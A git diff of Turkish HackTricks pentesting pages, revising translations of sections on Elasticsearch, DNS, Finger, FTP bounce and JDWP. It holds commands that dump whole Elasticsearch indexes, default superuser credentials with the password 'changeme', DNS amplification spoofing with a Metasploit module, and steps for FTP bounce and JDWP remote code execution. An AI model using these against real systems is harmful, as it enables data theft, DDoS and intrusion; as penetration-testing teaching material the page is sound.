* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel bilgiler
Elasticsearch, **tüm veri türleri** için **dağıtık**, **açık kaynak** bir arama ve analiz motorudur. **Hız**, **ölçeklenebilirlik** ve **basit REST API'leri** ile tanınır. Apache Lucene üzerine inşa edilmiştir ve ilk olarak 2010 yılında Elasticsearch N.V. (şimdi Elastic olarak bilinir) tarafından piyasaya sürülmüştür. Elasticsearch, veri alımı, zenginleştirme, depolama, analiz ve görselleştirme için açık kaynak araçların bir koleksiyonu olan Elastic Stack'in temel bileşenidir. Genellikle ELK Stack olarak adlandırılan bu yığın, ayrıca Logstash ve Kibana'yı içerir ve şimdi Beats adı verilen hafif veri taşıma ajanlarına sahiptir.
Elasticsearch, **tüm veri türleri** için **dağıtık**, **açık kaynak** bir arama ve analiz motorudur. **Hız**, **ölçeklenebilirlik** ve **basit REST API'leri** ile tanınır. Apache Lucene üzerine inşa edilmiştir ve ilk olarak 2010 yılında Elasticsearch N.V. (şimdi Elastic olarak bilinir) tarafından piyasaya sürülmüştür. Elasticsearch, veri alımı, zenginleştirme, depolama, analiz ve görselleştirme için açık kaynak araçların bir koleksiyonu olan Elastic Stack'in temel bileşenidir. Bu yığın, genellikle ELK Stack olarak adlandırılır ve ayrıca Logstash ve Kibana'yı içerir ve şimdi Beats adı verilen hafif veri taşıma ajanlarına sahiptir.
### Elasticsearch indeksi nedir?
Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgelerin** bir koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir.
Elasticsearch, hızlı tam metin aramalarını kolaylaştırmak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar.
Elasticsearch, hızlı tam metin aramaları sağlamak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar.
İndeksleme süreci sırasında, Elasticsearch belgeleri saklar ve ters indeksi oluşturur, bu da neredeyse gerçek zamanlı arama yapılmasına olanak tanır. **İndeks API'si**, belirli bir indeks içinde JSON belgelerini eklemek veya güncellemek için kullanılır.
@ -60,8 +60,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine ihtiyacınız olduğu** anlamına gelir, böylece elasticsearch'ten herhangi bir bilgi alabilirsiniz. Ardından, [**bunu brute force ile denemek**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\
İşte **varsayılan kullanıcı adları listesi**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Elasticsearch'un eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir.
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir. Ardından, [**bunu brute force ile denemek**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\
İşte burada bir **varsayılan kullanıcı adı listesi**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümlerinde bu kullanıcı için varsayılan şifre **changeme**'dir.
```
curl -X GET http://user:password@IP:9200/
```
@ -133,30 +133,30 @@ Eğer bir indeksin **tüm içeriğini dökmek** istiyorsanız, `http://host:9200
_Bank indeksindeki her belgenin (girişin) içeriğini ve önceki bölümde gördüğümüz bu indeksin alanlarını karşılaştırmak için bir an durun._
Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indekste 1000 belgenin bulunduğunu** ancak yalnızca 10'un geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\
Ama şimdi bu indeksin **1000 belge içerdiğini bildiğinize göre**, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının olmasıdır.**\
Ama, artık **bu indeksin 1000 belge içerdiğini** bildiğinize göre, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._
### Hepsini Dökme
Hepsini dökmek için, **öncekiyle aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\
Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını** dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun.
Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını dökmek** için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun.
### Arama
Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz, `http://host:9200/_search?pretty=true&q=<search_term>` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
Eğer bazı bilgileri arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz: `http://host:9200/_search?pretty=true&q=<search_term>` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (335).png>)
Eğer sadece bir indekste **arama yapmak** istiyorsanız, **yolu** belirterek bunu yapabilirsiniz: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
Eğer sadece bir indeks üzerinde **arama yapmak** istiyorsanız, **yolda** bunu **belirtebilirsiniz**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_Araç içeriğini aramak için kullanılan q parametresi **düzenli ifadeleri destekler**_
_K içerik aramak için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._
Ayrıca bir elasticsearch hizmetini fuzzlamak için [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gibi bir şey de kullanabilirsiniz.
### Yazma İzinleri
Yeni bir indekste yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak:
Yeni bir indeks içinde yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -168,7 +168,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```
O cmd, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır.
**Yeni indeksin şimdi listede nasıl göründüğüne dikkat edin**:
**Yeni indeksin şimdi listede göründüğüne** dikkat edin:
![](<../.gitbook/assets/image (130).png>)
@ -190,7 +190,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -205,7 +205,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
@ -36,25 +36,25 @@ PORT STATE SERVICE REASON
```
### Farklı DNS Sunucuları
* **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde yer alır, üst düzey alan adlarını yönetir ve yalnızca alt düzey sunucular yanıt vermezse devreye girer. Atanan İsimler ve Numaralar için İnternet Kurumu (**ICANN**) bunların işletimini denetler ve dünya genelinde 13 adet bulunmaktadır.
* **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde yer alır, üst düzey alan adlarını yönetir ve yalnızca alt düzey sunucular yanıt vermezse devreye girer. Atanan İsimler ve Numaralar için İnternet Kurumu (**ICANN**) onların işletimini denetler ve dünya genelinde 13 adet bulunmaktadır.
* **Yetkili İsim Sunucuları**: Bu sunucular, belirlenen bölgelerdeki sorgular için nihai karara sahiptir ve kesin yanıtlar sunar. Eğer yanıt veremezlerse, sorgu kök sunuculara yükseltilir.
* **Yetkisiz İsim Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmayan bu sunucular, diğer sunuculara sorgular aracılığıyla alan bilgilerini toplar.
* **Önbellek DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hatırlar ve gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
* **Önbellekli DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hatırlar ve gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
* **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları başka bir sunucuya iletir.
* **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmezler.
## Sayım
### **Afiş Yakalama**
### **Afiş Alma**
DNS'te afiş yoktur ama `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz; bu, çoğu BIND isim sunucusunda çalışacaktır.\
DNS'te afiş yoktur ama `version.bind. CHAOS TXT` için sihirli sorguyu alabilirsiniz; bu, çoğu BIND isim sunucusunda çalışacaktır.\
Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz:
```bash
dig version.bind CHAOS TXT @DNS
```
Ayrıca, araç [`fpdns`](https://github.com/kirei/fpdns) sunucunun parmak izini alabilir.
Ayrıca, bir **nmap** betiği ile de banner'ı almak mümkündür:
Ayrıca, bir **nmap** betiği ile de afişi almak mümkündür:
```
--script dns-nsid
```
@ -102,7 +102,7 @@ nslookup
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### Kullanışlı nmap betikleri
### Yararlı nmap betikleri
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
@ -155,10 +155,10 @@ IPv6 adreslerini kullanarak ters DNS için bruteforce yapmak
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Rekürsiyonu DDoS
### DNS Recursion DDoS
Eğer **DNS rekürsiyonu etkinse**, bir saldırgan **UDP paketindeki** **kaynağı** **sahteleyerek** **DNS'in yanıtı kurban sunucusuna göndermesini** sağlayabilir. Bir saldırgan, daha büyük yanıtlar aldığı için **ANY** veya **DNSSEC** kayıt türlerini kötüye kullanabilir.\
Bir DNS'in **rekürsiyonu** destekleyip desteklemediğini **kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtın içinde **"ra" bayrağının** (_rekürsiyon mevcut_) olup olmadığını **kontrol etmektir**:
Eğer **DNS rekursiyonu etkinse**, bir saldırgan **UDP paketindeki** **kaynağı** **sahteleyerek** **DNS'in yanıtı kurban sunucusuna göndermesini** sağlayabilir. Bir saldırgan, daha büyük yanıtlar aldığı için **ANY** veya **DNSSEC** kayıt türlerini kötüye kullanabilir.\
Bir DNS'in **rekursiyonu** destekleyip desteklemediğini **kontrol etmenin** yolu, bir alan adını sorgulamak ve **yanıtta "ra" bayrağının** (_rekursiyon mevcut_) olup olmadığını **kontrol etmektir**:
```bash
dig google.com A @<IP>
```
@ -172,9 +172,9 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -227,7 +227,7 @@ Tehlikeli ayarlar Bind sunucusu yapılandırırken:
| `allow-query` | Hangi ana bilgisayarların DNS sunucusuna istek göndermesine izin verildiğini tanımlar. |
| `allow-recursion` | Hangi ana bilgisayarların DNS sunucusuna özyinelemeli istek göndermesine izin verildiğini tanımlar. |
| `allow-transfer` | Hangi ana bilgisayarların DNS sunucusundan alan transferi almasına izin verildiğini tanımlar. |
| `zone-statistics` | Alanların istatistiksel verilerini toplar. |
| `zone-statistics` | Alanların istatistik verilerini toplar. |
## Referanslar
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -304,7 +304,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Basic Info**
## **Temel Bilgiler**
**Finger** programı/hizmeti, bilgisayar kullanıcıları hakkında detaylar almak için kullanılır. Genellikle sağlanan bilgiler **kullanıcının giriş adı, tam adı** ve bazı durumlarda ek detayları içerir. Bu ek detaylar, ofis konumu ve telefon numarasını (varsa), kullanıcının giriş yaptığı zamanı, hareketsizlik süresini (boşta kalma süresi), kullanıcının en son okuduğu e-posta zamanını ve kullanıcının plan ve proje dosyalarının içeriğini kapsayabilir.
**Finger** programı/hizmeti, bilgisayar kullanıcıları hakkında ayrıntılar almak için kullanılır. Genellikle sağlanan bilgiler **kullanıcının giriş adı, tam adı** ve bazı durumlarda ek ayrıntıları içerir. Bu ek ayrıntılar, ofis konumu ve telefon numarasını (varsa), kullanıcının giriş yaptığı zamanı, hareketsizlik süresini (boşta kalma süresi), kullanıcının en son okuduğu e-posta zamanını ve kullanıcının plan ve proje dosyalarının içeriğini kapsayabilir.
**Varsayılan port:** 79
```
@ -75,7 +75,7 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -90,7 +90,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -7,7 +7,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -40,7 +40,7 @@ Eğer bir bounce FTP sunucusuna erişiminiz varsa, diğer FTP sunucusundan \(baz
2. FTP Orta sunucusunun Kurban sunucusuna göndereceği dosyayı oluşturun \(istismar\). Bu dosya, Kurban sunucusuna kimlik doğrulamak, dizini değiştirmek ve bir dosyayı kendi sunucunuza indirmek için gereken komutların düz metni olacaktır.
3. FTP Orta Sunucusuna bağlanın ve önceki dosyayı yükleyin
4. FTP Orta sunucusunun kurban sunucusuyla bir bağlantı kurmasını ve istismar dosyasını göndermesini sağlayın
5. Kendi FTP sunucunuzda dosyayı yakalayın
5. Dosyayı kendi FTP sunucunuzda yakalayın
6. FTP Orta sunucusundan istismar dosyasını silin
Daha ayrıntılı bilgi için şu gönderiyi kontrol edin: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
@ -48,7 +48,7 @@ Daha ayrıntılı bilgi için şu gönderiyi kontrol edin: [http://www.ouah.org/
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -63,7 +63,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -43,7 +43,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
1. **JDWP Genel Bakış**:
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında güvenlik açığı oluşturur.
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
2. **JDWP El Sıkışması**:
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.
@ -53,12 +53,12 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
- Komut Seti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylem ve olayları temsil eder.
4. **Sömürü**:
- JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
- JDWP, keyfi sınıfları ve bayt kodunu yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma gibi beş adımda bir sömürü sürecini detaylandırmaktadır.
5. **Gerçek Hayatta Sömürü**:
5. **Gerçek Hayat Sömürüsü**:
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında sömürülebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.
- Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar.
- Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunmaktadır.
6. **Güvenlik Etkileri**:
